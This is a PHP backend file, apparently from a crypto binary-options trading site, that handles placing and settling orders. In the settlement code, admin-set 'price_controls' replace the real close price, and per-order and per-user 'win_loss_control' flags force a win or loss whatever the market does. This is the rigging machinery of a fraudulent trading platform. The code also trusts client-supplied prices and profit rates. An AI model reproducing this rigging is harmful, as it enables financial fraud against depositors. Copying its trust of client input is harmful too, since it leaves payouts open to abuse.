139 lines
5.2 KiB
PHP
139 lines
5.2 KiB
PHP
<?php
|
|
require_once __DIR__ . '/../db/config.php';
|
|
session_start();
|
|
|
|
header('Content-Type: application/json');
|
|
|
|
$db = db();
|
|
$user_id = $_SESSION['user_id'] ?? null;
|
|
|
|
if (!$user_id) {
|
|
echo json_encode(['success' => false, 'error' => 'Unauthorized']);
|
|
exit;
|
|
}
|
|
|
|
// Check frozen status
|
|
$stmt = $db->prepare("SELECT status FROM users WHERE id = ?");
|
|
$stmt->execute([$user_id]);
|
|
if ($stmt->fetchColumn() === 'frozen') {
|
|
echo json_encode(['success' => false, 'error' => 'Account frozen']);
|
|
exit;
|
|
}
|
|
|
|
$action = $_POST['action'] ?? '';
|
|
|
|
if ($action === 'place_order') {
|
|
$symbol = $_POST['symbol'] ?? 'BTC';
|
|
$amount = (float)$_POST['amount'];
|
|
$duration = (int)$_POST['duration'];
|
|
$direction = $_POST['direction']; // up/down
|
|
$entry_price = (float)$_POST['entry_price'];
|
|
$profit_rate = (int)$_POST['profit_rate'];
|
|
|
|
if ($amount <= 0) {
|
|
echo json_encode(['success' => false, 'error' => 'Invalid amount']);
|
|
exit;
|
|
}
|
|
|
|
$db->beginTransaction();
|
|
try {
|
|
// Check balance
|
|
$stmt = $db->prepare("SELECT available FROM user_balances WHERE user_id = ? AND symbol = 'USDT'");
|
|
$stmt->execute([$user_id]);
|
|
$bal = $stmt->fetchColumn();
|
|
|
|
if ($bal < $amount) {
|
|
throw new Exception("Insufficient balance");
|
|
}
|
|
|
|
// Deduct balance
|
|
$db->prepare("UPDATE user_balances SET available = available - ? WHERE user_id = ? AND symbol = 'USDT'")
|
|
->execute([$amount, $user_id]);
|
|
|
|
// Insert order
|
|
$stmt = $db->prepare("INSERT INTO binary_orders (user_id, symbol, direction, amount, duration, entry_price, profit_rate, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', NOW())");
|
|
$stmt->execute([$user_id, $symbol, $direction, $amount, $duration, $entry_price, $profit_rate]);
|
|
$order_id = $db->lastInsertId();
|
|
|
|
$db->commit();
|
|
echo json_encode(['success' => true, 'order_id' => $order_id]);
|
|
} catch (Exception $e) {
|
|
$db->rollBack();
|
|
echo json_encode(['success' => false, 'error' => $e->getMessage()]);
|
|
}
|
|
exit;
|
|
}
|
|
|
|
if ($action === 'settle_order') {
|
|
$order_id = (int)$_POST['order_id'];
|
|
$close_price = (float)$_POST['close_price'];
|
|
|
|
$stmt = $db->prepare("SELECT o.*, u.win_loss_control as user_control FROM binary_orders o JOIN users u ON o.user_id = u.id WHERE o.id = ? AND o.user_id = ?");
|
|
$stmt->execute([$order_id, $user_id]);
|
|
$order = $stmt->fetch();
|
|
|
|
if (!$order || $order['status'] !== 'pending') {
|
|
echo json_encode(['success' => false, 'error' => 'Order not found or already settled']);
|
|
exit;
|
|
}
|
|
|
|
// Determine result
|
|
$result = ''; // won/lost
|
|
|
|
// 0. Check for Price Control (Needle)
|
|
$stmt = $db->prepare("SELECT target_price FROM price_controls WHERE symbol = ? AND execution_time <= NOW() AND DATE_ADD(execution_time, INTERVAL duration SECOND) >= NOW() LIMIT 1");
|
|
$stmt->execute([$order['symbol']]);
|
|
$controlled_price = $stmt->fetchColumn();
|
|
if ($controlled_price) {
|
|
$close_price = $controlled_price;
|
|
}
|
|
|
|
$is_up = $order['direction'] === 'up' || $order['direction'] === 'buy';
|
|
|
|
// 1. Check Order-level control
|
|
if ($order['control_status'] == 1) $result = 'won';
|
|
elseif ($order['control_status'] == 2) $result = 'lost';
|
|
// 2. Check User-level control
|
|
elseif ($order['user_control'] == 1) $result = 'won';
|
|
elseif ($order['user_control'] == 2) $result = 'lost';
|
|
// 3. Natural result
|
|
else {
|
|
if ($is_up) {
|
|
$result = ($close_price > $order['entry_price']) ? 'won' : 'lost';
|
|
} else {
|
|
$result = ($close_price < $order['entry_price']) ? 'won' : 'lost';
|
|
}
|
|
}
|
|
|
|
// Force "Control Loss means deducting the order amount"
|
|
// This is already done by not returning the amount if lost.
|
|
|
|
$db->beginTransaction();
|
|
try {
|
|
$db->prepare("UPDATE binary_orders SET close_price = ?, status = ?, settled_at = NOW() WHERE id = ?")
|
|
->execute([$close_price, $result, $order_id]);
|
|
|
|
if ($result === 'won') {
|
|
$win_amount = $order['amount'] + ($order['amount'] * $order['profit_rate'] / 100);
|
|
$db->prepare("UPDATE user_balances SET available = available + ? WHERE user_id = ? AND symbol = 'USDT'")
|
|
->execute([$win_amount, $user_id]);
|
|
|
|
$db->prepare("INSERT INTO transactions (user_id, type, amount, symbol, status) VALUES (?, 'binary_win', ?, 'USDT', 'completed')")
|
|
->execute([$user_id, $win_amount]);
|
|
} else {
|
|
$db->prepare("INSERT INTO transactions (user_id, type, amount, symbol, status) VALUES (?, 'binary_loss', ?, 'USDT', 'completed')")
|
|
->execute([$user_id, $order['amount']]);
|
|
}
|
|
|
|
$db->commit();
|
|
$pnl = ($result === 'won') ? ($order['amount'] * $order['profit_rate'] / 100) : -$order['amount'];
|
|
echo json_encode(['success' => true, 'result' => $result, 'pnl' => $pnl]);
|
|
} catch (Exception $e) {
|
|
$db->rollBack();
|
|
echo json_encode(['success' => false, 'error' => $e->getMessage()]);
|
|
}
|
|
exit;
|
|
}
|
|
|
|
echo json_encode(['success' => false, 'error' => 'Invalid action']);
|